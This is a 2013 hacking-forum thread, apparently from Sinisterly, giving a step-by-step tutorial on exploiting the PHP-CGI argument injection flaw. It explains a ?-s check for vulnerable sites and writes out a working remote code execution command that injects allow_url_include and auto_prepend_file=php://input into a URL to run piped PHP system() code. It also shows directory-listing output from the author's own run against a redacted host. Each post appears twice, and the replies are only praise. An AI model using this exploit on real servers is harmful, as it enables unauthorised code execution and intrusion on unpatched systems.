![]() |
|
PHP CGI exploit - Printable Version +- Sinisterly (https://sinister.ly) +-- Forum: Hacking (https://sinister.ly/Forum-Hacking) +--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials) +--- Thread: PHP CGI exploit (/Thread-PHP-CGI-exploit) |
PHP CGI exploit - RogueCoder - 09-30-2013 PHP CGI exploit
Hello again folks I thought I'd give a quick tutorial regarding the PHP CGI exploit. I search the forum and didn't really find any tutorial about it, so I'm sorry if I'm making a duplicate to someone else.This exploit has been patched in newer versions, but it's still something worthy of knowing because it is so extremely easy to use. First some details regarding this vulnerability Quote:The bug is due to an error on how the URI is used and provided to PHP CGI when a URL lacks = sign (typically used to separate parameter's name and value. Basically, the URI is passed to the php-cgi binary without enough filtering or encoding allowing an attacker to pass extra-argument to php-cgi command line. So what's next? First we should get to know php-cgi a little bit, so here's their help content: Quote:$ php-cgi -h From this content we see that the -s option is used to display the source code, which is interesting. So what we can do to determine if a website is vulnerable to this bug is by adding ?-s to the URL. If it's vulnerable you will see the HTML code of the website instead of the actual website. Code: http://target/?-sNow, this is cool and all that, but is this the only thing we can do? Not at all. Let's take another look at the help content. Quote:-d foo[=bar] Define INI entry foo with value 'bar' Well well well, look at that. With this and some creative thinking we can get code execution. But how? The answer is, php:// protocol So what is this protocol? Here's what the manual says Quote:php:// — Accessing various I/O streams This protocol has a wrapper named input and here's what the manual says about it Quote:php://input is a read-only stream that allows you to read raw data from the request body. In the case of POST requests, it is preferable to use php://input instead of $HTTP_RAW_POST_DATA as it does not depend on special php.ini directives. Moreover, for those cases where $HTTP_RAW_POST_DATA is not populated by default, it is a potentially less memory intensive alternative to activating always_populate_raw_post_data. php://input is not available with enctype="multipart/form-data". So what good does this do? Well, remember how the -d option let's you modify the INI file? Let's have a look what the manual says about these two options; allow_url_include and auto_prepend_file. allow_url_include Quote:This option allows the use of URL-aware fopen wrappers with the following functions: include, include_once, require, require_once. auto_prepend_file Quote:Specifies the name of a file that is automatically parsed before the main file. The file is included as if it was called with the require function, so include_path is used. Ok, so what now? First we have to enable the allow_url_include. Why? Because we're not "living" on the server that the target runs on. Second, to be able to get remote code execution we need to prepend a file, which in our case is the input stream. Now that we have all this covered it's time to put this all together. So here's what we need to do to get remote code execution. Code: $ echo "<?php system('ls -la');die(); ?>" | POST "http://target.com/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"What the above code does is that is enables allow_url_include and then sends the echo'd code to php://input which is used by the auto_prepend_file. We're also adding die() to the code to stop execution of any other code after our own. So what happens when executing this line of code? You will get a list of all the files in the directory that the code was executed in (most likely document root) Here's an example from my experiment of this vulnerability Code: $ echo "<?php system('ls -la');die(); ?>" | POST "http://********/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
total 388
drwxrwxr-x 2 www-data www-data 145 May 4 2012 .
drwxrwxr-x 19 root root 140 May 3 2012 ..
-rw-rw-r-- 1 www-data www-data 2023 May 4 2012 all.css
-rw-rw-r-- 1 www-data www-data 289881 May 4 2012 all.js
-rw-rw-r-- 1 www-data www-data 42140 May 4 2012 bootstrap-1.1.0.css
-rw-rw-r-- 1 www-data www-data 56399 May 4 2012 bootstrap.css
-rw-rw-r-- 1 www-data www-data 1150 May 4 2012 favicon.ico
-rw-rw-r-- 1 www-data www-data 2684 May 4 2012 index.php
-rw-rw-r-- 1 www-data www-data 388 May 4 2012 patch.cssExternal resources The adivsory by the group who found the bug A virtual machine for trying this bug hands on I hope you enjoyed this tutorial Happy hacking PHP CGI exploit - RogueCoder - 09-30-2013 PHP CGI exploit
Hello again folks I thought I'd give a quick tutorial regarding the PHP CGI exploit. I search the forum and didn't really find any tutorial about it, so I'm sorry if I'm making a duplicate to someone else.This exploit has been patched in newer versions, but it's still something worthy of knowing because it is so extremely easy to use. First some details regarding this vulnerability Quote:The bug is due to an error on how the URI is used and provided to PHP CGI when a URL lacks = sign (typically used to separate parameter's name and value. Basically, the URI is passed to the php-cgi binary without enough filtering or encoding allowing an attacker to pass extra-argument to php-cgi command line. So what's next? First we should get to know php-cgi a little bit, so here's their help content: Quote:$ php-cgi -h From this content we see that the -s option is used to display the source code, which is interesting. So what we can do to determine if a website is vulnerable to this bug is by adding ?-s to the URL. If it's vulnerable you will see the HTML code of the website instead of the actual website. Code: http://target/?-sNow, this is cool and all that, but is this the only thing we can do? Not at all. Let's take another look at the help content. Quote:-d foo[=bar] Define INI entry foo with value 'bar' Well well well, look at that. With this and some creative thinking we can get code execution. But how? The answer is, php:// protocol So what is this protocol? Here's what the manual says Quote:php:// — Accessing various I/O streams This protocol has a wrapper named input and here's what the manual says about it Quote:php://input is a read-only stream that allows you to read raw data from the request body. In the case of POST requests, it is preferable to use php://input instead of $HTTP_RAW_POST_DATA as it does not depend on special php.ini directives. Moreover, for those cases where $HTTP_RAW_POST_DATA is not populated by default, it is a potentially less memory intensive alternative to activating always_populate_raw_post_data. php://input is not available with enctype="multipart/form-data". So what good does this do? Well, remember how the -d option let's you modify the INI file? Let's have a look what the manual says about these two options; allow_url_include and auto_prepend_file. allow_url_include Quote:This option allows the use of URL-aware fopen wrappers with the following functions: include, include_once, require, require_once. auto_prepend_file Quote:Specifies the name of a file that is automatically parsed before the main file. The file is included as if it was called with the require function, so include_path is used. Ok, so what now? First we have to enable the allow_url_include. Why? Because we're not "living" on the server that the target runs on. Second, to be able to get remote code execution we need to prepend a file, which in our case is the input stream. Now that we have all this covered it's time to put this all together. So here's what we need to do to get remote code execution. Code: $ echo "<?php system('ls -la');die(); ?>" | POST "http://target.com/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"What the above code does is that is enables allow_url_include and then sends the echo'd code to php://input which is used by the auto_prepend_file. We're also adding die() to the code to stop execution of any other code after our own. So what happens when executing this line of code? You will get a list of all the files in the directory that the code was executed in (most likely document root) Here's an example from my experiment of this vulnerability Code: $ echo "<?php system('ls -la');die(); ?>" | POST "http://********/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
total 388
drwxrwxr-x 2 www-data www-data 145 May 4 2012 .
drwxrwxr-x 19 root root 140 May 3 2012 ..
-rw-rw-r-- 1 www-data www-data 2023 May 4 2012 all.css
-rw-rw-r-- 1 www-data www-data 289881 May 4 2012 all.js
-rw-rw-r-- 1 www-data www-data 42140 May 4 2012 bootstrap-1.1.0.css
-rw-rw-r-- 1 www-data www-data 56399 May 4 2012 bootstrap.css
-rw-rw-r-- 1 www-data www-data 1150 May 4 2012 favicon.ico
-rw-rw-r-- 1 www-data www-data 2684 May 4 2012 index.php
-rw-rw-r-- 1 www-data www-data 388 May 4 2012 patch.cssExternal resources The adivsory by the group who found the bug A virtual machine for trying this bug hands on I hope you enjoyed this tutorial Happy hacking RE: PHP CGI exploit - The Alchemist - 10-01-2013 Cool man!!! This is one of a kind... Seeing something like this for the first time ever. RE: PHP CGI exploit - The Alchemist - 10-01-2013 Cool man!!! This is one of a kind... Seeing something like this for the first time ever. RE: PHP CGI exploit - RogueCoder - 10-01-2013 Thanks @The Alchemist Glad you liked it!
RE: PHP CGI exploit - RogueCoder - 10-01-2013 Thanks @The Alchemist Glad you liked it!
RE: PHP CGI exploit - Badalrock - 10-06-2013 gud one broski.... nice job RE: PHP CGI exploit - Badalrock - 10-06-2013 gud one broski.... nice job |